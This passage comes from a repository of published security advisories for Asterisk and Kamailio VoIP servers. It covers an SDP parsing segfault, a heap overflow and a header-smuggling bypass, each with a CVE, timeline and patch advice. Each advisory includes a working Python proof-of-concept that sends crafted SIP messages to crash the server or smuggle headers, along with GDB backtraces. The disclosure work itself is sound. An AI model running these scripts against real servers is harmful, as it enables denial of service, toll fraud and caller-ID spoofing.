str(uuid.uuid4()) 83 | 84 | sdpbody = "v=0\r\no=- 1061502179 1061502179 IN IP4 172.17.0.1\r\n" \ 85 | "s=Asterisk\r\n" \ 86 | "c=IN IP4 172.17.0.1\r\n" \ 87 | "t=0 0\r\n" \ 88 | "m=audio 17000 RTP/AVP 9 0 101\r\n" \ 89 | "a=rtpmap:8 alaw/8000\r\n" \ 90 | "a=rtpmap:0 PCMU/8000\r\n" \ 91 | "a=rtpmap:101 telephone-event/8000\r\n" \ 92 | "a=fmtp\x00:101 0-16\r\n"\ 93 | "a=sendrecv" 94 | 95 | msg="INVITE sip:%s@%s:%i SIP/2.0\r\n" \ 96 | "To: \r\n" \ 97 | "From: Test \r\n" \ 98 | "Call-ID: %s\r\n" \ 99 | "CSeq: 2 INVITE\r\n" \ 100 | "Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bK%s\r\n" \ 101 | "Contact: \r\n" \ 102 | "Content-Type: application/sdp\r\n" \ 103 | "{{AUTH}}" \ 104 | "Content-Length: %i\r\n" \ 105 | "\r\n" % ( 106 | INVITE_USERNAME, SERVER_IP, SERVER_PORT, 107 | INVITE_USERNAME, SERVER_IP, SERVER_PORT, 108 | USERNAME, SERVER_IP, SERVER_PORT, 109 | callid, callid, 110 | USERNAME, len(sdpbody) 111 | ) + \ 112 | sdpbody 113 | 114 | sock.sendto(msg.replace("{{AUTH}}", ""), (SERVER_IP, SERVER_PORT)) 115 | 116 | data, addr = sock.recvfrom(10240) 117 | 118 | if data.startswith("SIP/2.0 401"): 119 | for line in data.split('\r\n'): 120 | if line.startswith("WWW-Authenticate"): 121 | content = line.split(':', 2)[1].strip() 122 | realm = re.search("realm=\"([a-z]+)\"", content).group(1) 123 | nonce = re.search("nonce=\"([a-z0-9\/]+)\"", content).group(1) 124 | ha1 = md5.new(USERNAME + ":" + realm + ":" + PASSWORD).hexdigest() 125 | uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT) 126 | ha2 = md5.new("INVITE:" + uri).hexdigest() 127 | r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest() 128 | 129 | auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \ 130 | "realm=\"%s\"," % (realm) + \ 131 | "nonce=\"%s\"," % (nonce) + \ 132 | "uri=\"%s\"," % (uri) + \ 133 | "response=\"%s\"," % (r) + \ 134 | "algorithm=md5\r\n" 135 | 136 | sock.sendto(msg.replace("{{AUTH}}", auth), (SERVER_IP, SERVER_PORT)) 137 | ``` 138 | 139 | This security issue was discovered through the use of simple fuzzing with [Radamsa](https://github.com/aoh/radamsa) and our internal toolset. 140 | 141 | ### GDB backtrace result 142 | 143 | ``` 144 | Thread 197 "asterisk" received signal SIGSEGV, Segmentation fault. 145 | [Switching to Thread 0x7fff65e57700 (LWP 10595)] 146 | pjmedia_sdp_attr_get_fmtp (attr=, fmtp=fmtp@entry=0x7fff65e56430) at ../src/pjmedia/sdp.c:350 147 | 350 while (pj_isdigit(*p) && p!=end) 148 | (gdb) bt 149 | #0 pjmedia_sdp_attr_get_fmtp (attr=, fmtp=fmtp@entry=0x7fff65e56430) at ../src/pjmedia/sdp.c:350 150 | #1 0x00007fff6bf49070 in get_codecs (session_media=0x7fff74799540, codecs=0x7fff65e56450, stream=0x7fff97f99de0, session=0x7fff74581688) at res_pjsip_sdp_rtp.c:276 151 | #2 set_caps (session=session@entry=0x7fff74581688, session_media=session_media@entry=0x7fff74799540, session_media_transport=0x7fff74799540, stream=stream@entry=0x7fff97f99de0, is_offer=is_offer@entry=1, asterisk_stream=asterisk_stream@entry=0x7fff747a03b0) 152 | at res_pjsip_sdp_rtp.c:352 153 | #3 0x00007fff6bf4b2d7 in negotiate_incoming_sdp_stream (session=0x7fff74581688, session_media=0x7fff74799540, sdp=, index=, asterisk_stream=0x7fff747a03b0) at res_pjsip_sdp_rtp.c:1185 154 | #4 0x00007ffff1a16bb9 in handle_incoming_sdp (session=session@entry=0x7fff74581688, sdp=0x7fff97f99870) at res_pjsip_session.c:671 155 | #5 0x00007ffff1a1a721 in new_invite (invite=) at res_pjsip_session.c:2871 156 | #6 handle_new_invite_request (rdata=0x7fff573f88d8) at res_pjsip_session.c:2966 157 | #7 session_on_rx_request (rdata=0x7fff573f88d8) at res_pjsip_session.c:3030 158 | #8 0x00007ffff7868df7 in pjsip_endpt_process_rx_data (endpt=, rdata=rdata@entry=0x7fff573f88d8, p=p@entry=0x7ffff1a0ace0 , p_handled=p_handled@entry=0x7fff65e56d44) at ../src/pjsip/sip_endpoint.c:887 159 | #9 0x00007ffff17e009f in distribute (data=0x7fff573f88d8) at res_pjsip/pjsip_distributor.c:903 160 | #10 0x00000000005fb3be in ast_taskprocessor_execute (tps=tps@entry=0x1dc33a8) at taskprocessor.c:963 161 | #11 0x0000000000602610 in execute_tasks (data=0x1dc33a8) at threadpool.c:1322 162 | #12 0x00000000005fb3be in ast_taskprocessor_execute (tps=0x1a39488) at taskprocessor.c:963 163 | #13 0x0000000000602af0 in threadpool_execute (pool=0x1a37ca8) at threadpool.c:351 164 | #14 worker_active (worker=0x7fff9457ccd8) at threadpool.c:1105 165 | #15 worker_start (arg=arg@entry=0x7fff9457ccd8) at threadpool.c:1024 166 | #16 0x000000000060d4bd in dummy_start (data=) at utils.c:1257 167 | #17 0x00007ffff5e3d6ba in start_thread (arg=0x7fff65e57700) at pthread_create.c:333 168 | #18 0x00007ffff54263dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109 169 | (gdb) 170 | 171 | ``` 172 | 173 | 174 | ## Solutions and recommendations 175 | 176 | Apply the patch issued by Asterisk at or upgrade to the latest release. 177 | 178 | ## About Enable Security 179 | 180 | [Enable Security](https://www.enablesecurity.com) provides Information Security services, including Penetration Testing, Research and Development, to help protect client networks and applications against online attackers. 181 | 182 | ## Disclaimer 183 | 184 | The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. 185 | -------------------------------------------------------------------------------- /ES2018-03-asterisk-pjsip-sdp-invalid-media-format-description-segfault/README.md: -------------------------------------------------------------------------------- 1 | # Segmentation fault occurs in Asterisk with an invalid SDP media format description 2 | 3 | - Authors: 4 | - Alfred Farrugia 5 | - Sandro Gauci 6 | - Latest vulnerable version: Asterisk 15.2.0 running `chan_pjsip` 7 | - References: AST-2018-002, CVE-2018-1000098 8 | - Enable Security Advisory: 9 | - Vendor Advisory: 10 | - Tested vulnerable versions: 13.10.0, 15.1.3, 15.1.4, 15.1.5, 15.2.0 11 | - Timeline: 12 | - Report date: 2018-01-15 13 | - Vendor patch made available to us: 2018-02-05 14 | - Vendor advisory published: 2018-02-21 15 | - Enable Security advisory: 2018-02-22 16 | 17 | ## Description 18 | 19 | A specially crafted SDP message body with an invalid media format description causes a segmentation fault in asterisk using `chan_pjsip`. 20 | 21 | ## Impact 22 | 23 | Abuse of this vulnerability leads to denial of service in Asterisk when `chan_pjsip` is in use. 24 | 25 | ## How to reproduce the issue 26 | 27 | The following SIP message was used to reproduce the issue: 28 | 29 | ``` 30 | INVITE sip:5678@127.0.0.1:5060 SIP/2.0 31 | To: 32 | From: Test 33 | Call-ID: 5493d4c9-8248-4c26-a63c-ee74bcf3e1e8 34 | CSeq: 2 INVITE 35 | Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bK5493d4c9-8248-4c26-a63c-ee74bcf3e1e8 36 | Contact: 37 | Content-Type: application/sdp 38 | Content-Length: 115 39 | 40 | v=0 41 | o=- 1061502179 1061502179 IN IP4 172.17.0.1 42 | s=Asterisk 43 | c=IN IP4 172.17.0.2 44 | m=audio 17002 RTP/AVP 4294967296 45 | ``` 46 | 47 | 48 | The problematic SDP section is: 49 | 50 | ``` 51 | m=audio 17000 RTP/AVP 4294967296 52 | ``` 53 | 54 | 55 | Notes: 56 | 57 | - authentication may be required 58 | - the destination SIP address should match a valid extension in the dialplan 59 | 60 | To facilitate this process we wrote the following python program to reproduce this issue: 61 | 62 | ```python 63 | import socket 64 | import re 65 | import md5 66 | import uuid 67 | 68 | SERVER_IP = "127.0.0.1" 69 | SERVER_PORT = 5060 70 | UDP_IP = "0.0.0.0" 71 | UDP_PORT = 13940 72 | USERNAME = "5678" 73 | PASSWORD = "5678" 74 | INVITE_USERNAME = "5678" 75 | 76 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 77 | sock.bind((UDP_IP, UDP_PORT)) 78 | 79 | while True: 80 | callid = str(uuid.uuid4()) 81 | 82 | fmt = 4294967296 83 | 84 | sdpbody = "v=0\r\n" \ 85 | "o=- 1061502179 1061502179 IN IP4 172.17.0.1\r\n" \ 86 | "s=Asterisk\r\n" \ 87 | "c=IN IP4 172.17.0.2\r\n" \ 88 | "m=audio 17002 RTP/AVP %s" % fmt 89 | 90 | msg="INVITE sip:%s@%s:%i SIP/2.0\r\n" \ 91 | "To: \r\n" \ 92 | "From: Test \r\n" \ 93 | "Call-ID: %s\r\n" \ 94 | "CSeq: 2 INVITE\r\n" \ 95 | "Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bK%s\r\n" \ 96 | "Contact: \r\n" \ 97 | "Content-Type: application/sdp\r\n" \ 98 | "{{AUTH}}" \ 99 | "Content-Length: %i\r\n" \ 100 | "\r\n" % ( 101 | INVITE_USERNAME, SERVER_IP, SERVER_PORT, 102 | INVITE_USERNAME, SERVER_IP, SERVER_PORT, 103 | USERNAME, SERVER_IP, SERVER_PORT, 104 | callid, callid, 105 | USERNAME, len(sdpbody) 106 | ) + \ 107 | sdpbody 108 | 109 | sock.sendto(msg.replace("{{AUTH}}", ""), (SERVER_IP, SERVER_PORT)) 110 | 111 | data, addr = sock.recvfrom(10240) 112 | 113 | if data.startswith("SIP/2.0 401"): 114 | for line in data.split('\r\n'): 115 | if line.startswith("WWW-Authenticate"): 116 | content = line.split(':', 2)[1].strip() 117 | realm = re.search("realm=\"([a-z]+)\"", content).group(1) 118 | nonce = re.search("nonce=\"([a-z0-9\/]+)\"", content).group(1) 119 | ha1 = md5.new(USERNAME + ":" + realm + ":" + PASSWORD).hexdigest() 120 | uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT) 121 | ha2 = md5.new("INVITE:" + uri).hexdigest() 122 | r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest() 123 | 124 | auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \ 125 | "realm=\"%s\"," % (realm) + \ 126 | "nonce=\"%s\"," % (nonce) + \ 127 | "uri=\"%s\"," % (uri) + \ 128 | "response=\"%s\"," % (r) + \ 129 | "algorithm=md5\r\n" 130 | 131 | sock.sendto(msg.replace("{{AUTH}}", auth), (SERVER_IP, SERVER_PORT)) 132 | ``` 133 | 134 | The loop is required since a crash might not occur immediately. 135 | 136 | This security issue was discovered through the use of simple fuzzing with [Radamsa](https://github.com/aoh/radamsa) and our internal toolset. 137 | 138 | ### GDB backtrace result 139 | 140 | ``` 141 | gdb --args /opt/asterisk/sbin/asterisk -fcvvv 142 | 143 | [Jan 2 16:07:36] DEBUG[45]: res_pjsip_session.c:743 handle_negotiated_sdp_session_media: Applied negotiated SDP media stream 'audio' using audio SDP handler 144 | [Jan 2 16:07:36] ERROR[45]: pjproject:0 : except.c .!!!FATAL: unhandled exception PJLIB/No memory! 145 | 146 | 147 | Thread 26 "asterisk" received signal SIGSEGV, Segmentation fault. 148 | [Switching to Thread 0x7ffff0297700 (LWP 45)] 149 | __longjmp_chk (env=env@entry=0x0, val=val@entry=1) at ../setjmp/longjmp.c:32 150 | 32 ../setjmp/longjmp.c: No such file or directory. 151 | (gdb) bt 152 | #0 __longjmp_chk (env=env@entry=0x0, val=val@entry=1) at ../setjmp/longjmp.c:32 153 | #1 0x00007ffff78ed4ae in pj_throw_exception_ (exception_id=1) at ../src/pj/except.c:54 154 | #2 0x00007ffff7868070 in pool_callback (pool=, size=) at ../src/pjsip/sip_endpoint.c:143 155 | #3 0x00007ffff78f1a93 in pj_pool_create_block (size=1407375809856000, pool=0x7fff8c002c90) at ../src/pj/pool.c:63 156 | #4 pj_pool_allocate_find (pool=0x7fff8c002c90, size=1407375809852724) at ../src/pj/pool.c:138 157 | #5 0x00007ffff78fbb75 in pj_strdup (pool=pool@entry=0x7fff8c002c90, dst=dst@entry=0x7fff8c027638, src=src@entry=0x7fff8c025638) at ../include/pj/string_i.h:41 158 | #6 0x00007ffff78b287e in pjmedia_sdp_media_clone (pool=pool@entry=0x7fff8c002c90, rhs=0x7fff8c025608) at ../src/pjmedia/sdp.c:691 159 | #7 0x00007ffff78b4069 in pjmedia_sdp_session_clone (pool=pool@entry=0x7fff8c002c90, rhs=0x7fff8c01cdb8) at ../src/pjmedia/sdp.c:1422 160 | #8 0x00007ffff7847f31 in create_sdp_body (c_sdp=, pool=0x7fff8c002c90) at ../src/pjsip-ua/sip_inv.c:1722 161 | #9 process_answer (inv=inv@entry=0x7fff8c009f28, st_code=st_code@entry=200, local_sdp=local_sdp@entry=0x0, tdata=0x7fff8c002d38, tdata=0x7fff8c002d38) at ../src/pjsip-ua/sip_inv.c:2257 162 | #10 0x00007ffff7848681 in pjsip_inv_answer (inv=0x7fff8c009f28, st_code=st_code@entry=200, st_text=st_text@entry=0x0, local_sdp=local_sdp@entry=0x0, p_tdata=p_tdata@entry=0x7ffff0296d10) at ../src/pjsip-ua/sip_inv.c:2393 163 | #11 0x00007fff6b0f8f77 in answer (data=0x7fff8c00b298) at chan_pjsip.c:660 164 | #12 0x00007ffff17cb180 in sync_task (data=0x7ffff290c510) at res_pjsip.c:4270 165 | #13 0x00000000005fb3be in ast_taskprocessor_execute (tps=tps@entry=0x1dd6298) at taskprocessor.c:963 166 | #14 0x0000000000602610 in execute_tasks (data=0x1dd6298) at threadpool.c:1322 167 | #15 0x00000000005fb3be in ast_taskprocessor_execute (tps=0x1a401b8) at taskprocessor.c:963 168 | #16 0x0000000000602af0 in threadpool_execute (pool=0x1ae0e88) at threadpool.c:351 169 | #17 worker_active (worker=0x7fff94000948) at threadpool.c:1105 170 | #18 worker_start (arg=arg@entry=0x7fff94000948) at threadpool.c:1024 171 | #19 0x000000000060d4bd in dummy_start (data=) at utils.c:1257 172 | #20 0x00007ffff5e3d6ba in start_thread (arg=0x7ffff0297700) at pthread_create.c:333 173 | #21 0x00007ffff54263dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109 174 | (gdb) 175 | ``` 176 | 177 | ## Solutions and recommendations 178 | 179 | Apply the patch issued by Asterisk at or upgrade to the latest release. 180 | 181 | ## About Enable Security 182 | 183 | [Enable Security](https://www.enablesecurity.com) provides Information Security services, including Penetration Testing, Research and Development, to help protect client networks and applications against online attackers. 184 | 185 | ## Disclaimer 186 | 187 | The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. 188 | -------------------------------------------------------------------------------- /ES2018-05-kamailio-heap-overflow/README.md: -------------------------------------------------------------------------------- 1 | # Off-by-one heap overflow in Kamailio 2 | 3 | - Authors: 4 | - Alfred Farrugia 5 | - Sandro Gauci 6 | - Fixed versions: Kamailio v5.1.2, v5.0.6 and v4.4.7 7 | - References: CVE-2018-8828 8 | - Enable Security Advisory: 9 | - Kamailio Security Advisory: https://www.kamailio.org/w/2018/03/kamailio-security-announcement-tmx-lcr/ 10 | - Tested vulnerable versions: 5.1.1, 5.1.0, 5.0.0 11 | - Timeline: 12 | - Report date: 2018-02-10 13 | - Kamailio confirmed issue: 2018-02-10 14 | - Kamailio patch: 2018-02-10 15 | - Kamailio release with patch: 2018-03-01 16 | - Enable Security advisory: 2018-03-19 17 | 18 | ## Description 19 | 20 | A specially crafted REGISTER message with a malformed `branch` or `From tag` triggers an off-by-one heap overflow. 21 | 22 | ## Impact 23 | 24 | Abuse of this vulnerability leads to denial of service in Kamailio. Further research may show that exploitation leads to remote code execution. 25 | 26 | ## How to reproduce the issue 27 | 28 | The following SIP message was used to reproduce the issue with a `From` header containing the `tag` that triggers the vulnerability: 29 | 30 | 31 | ``` 32 | REGISTER sip:localhost:5060 SIP/2.0 33 | Via: SIP/2.0/TCP 127.0.0.1:53497;branch=z9hG4bK0aa9ae17-25cb-4c3a-abc9-979ce5bee394 34 | To: 35 | From: Test ;tag=bk1RdYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaRg 36 | Call-ID: 8b113457-c6a6-456a-be68-606686d93c38 37 | Contact: sip:1@127.0.0.1:53497 38 | Max-Forwards: 70 39 | CSeq: 10086 REGISTER 40 | User-Agent: go SIP fuzzer/1 41 | Content-Length: 0 42 | 43 | ``` 44 | 45 | We used this python script to reproduce the crash: 46 | 47 | ``` 48 | #!/usr/bin/env python 49 | import socket 50 | import sys 51 | 52 | PROTO = "udp" 53 | SERVER_IP = "127.0.0.1" 54 | SERVER_PORT = 5060 55 | 56 | for _ in range(2): 57 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 58 | sock.connect((sys.argv[1], int(sys.argv[2]))) 59 | 60 | msg = "REGISTER sip:localhost:5060 SIP/2.0\r\n" \ 61 | "Via: SIP/2.0/TCP 127.0.0.1:53497;branch=z9hG4bK0aa9ae17-25cb-4c3a-abc9-979ce5bee394\r\n" \ 62 | "To: \r\n" \ 63 | "From: Test ;tag=bk1RdYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaRg\r\n" \ 64 | "Call-ID: 8b113457-c6a6-456a-be68-606686d93c38\r\n" \ 65 | "Contact: sip:1@127.0.0.1:53497\r\n" \ 66 | "Max-Forwards: 70\r\n" \ 67 | "CSeq: 10086 REGISTER\r\n" \ 68 | "User-Agent: go SIP fuzzer/1\r\n" \ 69 | "Content-Length: 0\r\n" \ 70 | "\r\n" 71 | 72 | sock.sendall(msg) 73 | ``` 74 | 75 | 76 | Run using: 77 | 78 | ``` 79 | python crash.py 80 | ``` 81 | 82 | The expected result is a crash in Kamailio. 83 | 84 | Notes: 85 | 86 | - authentication is not required 87 | - SIP extension does not need to exist 88 | - Message can be sent over TCP or UDP 89 | 90 | ### GDB backtrace result 91 | 92 | Both crashes produce a similar backtrace in GDB: 93 | 94 | ``` 95 | #0 0x00007f08c3f16428 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54 96 | #1 0x00007f08c3f1802a in __GI_abort () at abort.c:89 97 | #2 0x0000000000669a6e in qm_debug_frag (qm=0x7f08ba615000, f=0x7f08ba8c70a8, file=0x7f08c0bba514 "tmx: tmx_pretran.c", line=250) at core/mem/q_malloc.c:147 98 | #3 0x000000000066b49e in qm_malloc (qmp=0x7f08ba615000, size=136, file=0x7f08c0bba514 "tmx: tmx_pretran.c", func=0x7f08c0bbb320 <__func__.7497> "tmx_check_pretran", line=250, mname=0x7f08c0bba510 "tmx") at core/mem/q_malloc.c:380 99 | #4 0x00000000006758e8 in qm_shm_malloc (qmp=0x7f08ba615000, size=136, file=0x7f08c0bba514 "tmx: tmx_pretran.c", func=0x7f08c0bbb320 <__func__.7497> "tmx_check_pretran", line=250, mname=0x7f08c0bba510 "tmx") at core/mem/q_malloc.c:1206 100 | #5 0x00007f08c0baf879 in tmx_check_pretran (msg=0x7f08c37a3250) at tmx_pretran.c:250 101 | #6 0x00007f08c0bac901 in t_precheck_trans (msg=0x7f08c37a3250) at tmx_mod.c:858 102 | #7 0x00007f08c0bac939 in w_t_precheck_trans (msg=0x7f08c37a3250, p1=0x0, p2=0x0) at tmx_mod.c:869 103 | #8 0x000000000047b0e4 in do_action (h=0x7fff808ef7e0, a=0x7f08c374e6c0, msg=0x7f08c37a3250) at core/action.c:1067 104 | #9 0x0000000000487df1 in run_actions (h=0x7fff808ef7e0, a=0x7f08c374e6c0, msg=0x7f08c37a3250) at core/action.c:1565 105 | #10 0x00000000004884a7 in run_actions_safe (h=0x7fff808f0860, a=0x7f08c374e6c0, msg=0x7f08c37a3250) at core/action.c:1633 106 | #11 0x0000000000446725 in rval_get_int (h=0x7fff808f0860, msg=0x7f08c37a3250, i=0x7fff808efb44, rv=0x7f08c374e818, cache=0x0) at core/rvalue.c:912 107 | #12 0x000000000044ae11 in rval_expr_eval_int (h=0x7fff808f0860, msg=0x7f08c37a3250, res=0x7fff808efb44, rve=0x7f08c374e810) at core/rvalue.c:1910 108 | #13 0x000000000047aba7 in do_action (h=0x7fff808f0860, a=0x7f08c374f3b0, msg=0x7f08c37a3250) at core/action.c:1043 109 | #14 0x0000000000487df1 in run_actions (h=0x7fff808f0860, a=0x7f08c374f3b0, msg=0x7f08c37a3250) at core/action.c:1565 110 | #15 0x000000000047b050 in do_action (h=0x7fff808f0860, a=0x7f08c374f650, msg=0x7f08c37a3250) at core/action.c:1058 111 | #16 0x0000000000487df1 in run_actions (h=0x7fff808f0860, a=0x7f08c374b610, msg=0x7f08c37a3250) at core/action.c:1565 112 | #17 0x00000000004885b3 in run_top_route (a=0x7f08c374b610, msg=0x7f08c37a3250, c=0x0) at core/action.c:1654 113 | #18 0x000000000059c7dc in receive_msg ( 114 | buf=0xa48120 "REGISTER sip:127.0.0.1:5060 SIP/2.0\r\nVia: SIP/2.0/TCP 127.0.0.1:51315;branch=z340282366920938463463374607431768211455hG4bKecc-65715664045141690323692c170141183460469231731687303715884105859-4b6d-48dc-"..., len=608, 115 | rcv_info=0x7fff808f0c20) at core/receive.c:277 116 | #19 0x00000000004a7b7c in udp_rcv_loop () at core/udp_server.c:554 117 | #20 0x00000000004232d0 in main_loop () at main.c:1626 118 | #21 0x000000000042a97a in main (argc=7, argv=0x7fff808f12d8) at main.c:2646 119 | (gdb) 120 | ``` 121 | 122 | This security issue was discovered through the use of simple fuzzing with [Radamsa](https://github.com/aoh/radamsa) and our internal toolset. 123 | 124 | ## Solutions and recommendations 125 | 126 | Apply the patch at or make use of a release that includes that patch (e.g. v5.1.2, v5.0.6 or v4.4.7). 127 | 128 | Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for the very quick response and fix within hours of our report. 129 | 130 | ## About Enable Security 131 | 132 | [Enable Security](https://www.enablesecurity.com) provides Information Security services, including Penetration Testing, Research and Development, to help protect client networks and applications against online attackers. 133 | 134 | ## Disclaimer 135 | 136 | The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. 137 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/README.md: -------------------------------------------------------------------------------- 1 | # Kamailio vulnerable to header smuggling possible due to bypass of remove_hf 2 | 3 | - Fixed versions: Kamailio v5.4.0 4 | - Enable Security Advisory: 5 | - References: CVE-2020-28361 6 | - Tested vulnerable versions: 5.3.5 and earlier 7 | - Timeline: 8 | - Report date & issue patched by Kamailio: 2020-07-16 9 | - Kamailio rewrite for header parser (better fix): 2020-07-16 to 2020-07-23 10 | - Kamailio release with fix: 2020-07-29 11 | - Enable Security advisory: 2020-09-01 12 | 13 | ## Description 14 | 15 | Kamailio is often configured to remove certain special internal SIP headers from untrusted traffic to protect against header injection attacks by making use of the `remove_hf` function from the Kamailio `textops` module. These SIP headers were typically set through Kamailio which are then used downstream, e.g. by a media service based on Asterisk, to affect internal business logic decisions. During our tests and research, we noticed that the removal of these headers can be bypassed by injecting whitespace characters at the end of the header name. 16 | 17 | Note that this issue only affected header names that are __not__ defined in `src/core/parser/hf.h`. 18 | 19 | Further discussion and details of this vulnerability can be found at the Communication Breakdown blog: https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/. 20 | 21 | ## Impact 22 | 23 | The impact of this security bypass greatly depends on how these headers are used and processed by the affected logic. In a worst case scenarios, this vulnerability could allow toll fraud, caller-ID spoofing and authentication bypass. 24 | 25 | ## How to reproduce the issue 26 | 27 | We prepared a docker-compose environment to demonstrate a vulnerable setup which can be found at . The following python code could then be used to reproduce the issue: 28 | 29 | ```python 30 | #!/usr/bin/env python3 31 | sipmsg = "INVITE sip:headerbypass@localhost SIP/2.0\r\n" 32 | sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n" 33 | sipmsg += "Max-Forwards: 70\r\n" 34 | sipmsg += "From: ;tag=%s\r\n" 35 | sipmsg += "To: sip:whatever@whatever.local\r\n" 36 | sipmsg += "Call-ID: %s\r\n" 37 | sipmsg += "CSeq: 1 INVITE\r\n" 38 | sipmsg += "Contact: \r\n" 39 | sipmsg += "X-Bypass-me : lol\r\n" 40 | sipmsg += "Content-Length: 237\r\n" 41 | sipmsg += "Content-Type: application/sdp\r\n" 42 | sipmsg += "\r\n" 43 | sipmsg += "v=0\r\n" 44 | sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n" 45 | sipmsg += "s=-\r\n" 46 | sipmsg += "c=IN IP4 127.0.0.1\r\n" 47 | sipmsg += "t=0 0\r\n" 48 | sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n" 49 | sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n" 50 | sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n" 51 | sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n" 52 | sipmsg += "a=rtpmap:96 opus/8000/2\r\n" 53 | sipmsg += "a=sendrecv\r\n" 54 | 55 | target = ("127.0.0.1",5060) 56 | 57 | import socket 58 | import time 59 | from random import randint 60 | s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) 61 | s.bind(("0.0.0.0",5088)) 62 | r = randint(1000,9999) 63 | data = sipmsg % (r,r,r) 64 | s.sendto(data.encode("utf-8"), target) 65 | while True: 66 | data,addr=s.recvfrom(4096) 67 | print(data.decode("utf-8")) 68 | time.sleep(5) 69 | ``` 70 | 71 | In the case of a vulnerable version of Kamailio, Asterisk would respond with a 200 OK while in a fixed version, Asterisk would respond with a 603 Decline response. This is specific to the [dialplan](https://github.com/EnableSecurity/advisories/blob/master/ES2020-01-kamailio-remove-hf/repro/asterisk/config/extensions.conf) in our example, which jumps to an internal dialplan if the `X-bypass-me` header is found. 72 | 73 | ## Solutions and recommendations 74 | 75 | The official Kamailio fix has been tested and found to sufficiently address this security flaw. We recommend making use of the latest release or backporting the fixes where possible. Making use of regular expressions to cover white-space characters with `remove_hf_re` has been suggested as mitigation for this issue for cases where the code cannot be upgraded. 76 | 77 | Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for the very quick response and fix within minutes of our report being made available to him, as well as Torrey Searle for reporting this issue quickly to the Kamailio team. 78 | 79 | ## About Enable Security 80 | 81 | [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. 82 | 83 | ## Disclaimer 84 | 85 | The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. 86 | 87 | ## Disclosure policy 88 | 89 | This report is subject to Enable Security's vulnerability disclosure policy which can be found at . 90 | 91 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/README.md: -------------------------------------------------------------------------------- 1 | # Kamailio header smuggling demonstration 2 | 3 | Docker-compose environment for identifying and reproducing header smuggling issues in Kamailio. Please refer to the advisory and related blog post on the Communication Breakdown blog (rtcsec.com). 4 | 5 | ## Getting started 6 | 7 | Ensure that you have installed docker-compose. Then run `docker-compose up`. 8 | 9 | ## Reproducing the finding 10 | 11 | Make use of `quickdemo.py` to reproduce the vulnerability. To simulate finding the vulnerability, run `find-bypass.py`. 12 | 13 | ## Other files 14 | 15 | `inviterequest.tpl` is to be used with [SIPVicious PRO](https://sipvicious.pro) as the SIP template to reproduce this issue. 16 | 17 | -------------------------------------------------------------------------------- /ES2020-01-kamailio-remove-hf/repro/asterisk/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | ARG ASTERISK_VERSION 4 | 5 | RUN echo "Building Asterisk ${ASTERISK_VERSION}" 6 | 7 | RUN printf "APT::Get::Assume-Yes \"true\";\nAPT::Get::force-yes \"true\";" > /etc/apt/apt.conf.d/90forceyes 8 | ENV DEBIAN_FRONTEND noninteractive 9 | 10 | RUN apt-get update 11 | 12 | RUN apt-get install -y libpopt-dev libnewt-dev ethtool libpq-dev libbluetooth-dev python-dev doxygen autoconf wget screen libusb-dev libspeex-dev aptitude libsqlite0-dev libsnmp-dev uuid lua5.1 libopus-dev build-essential inotify-tools libxslt1-dev 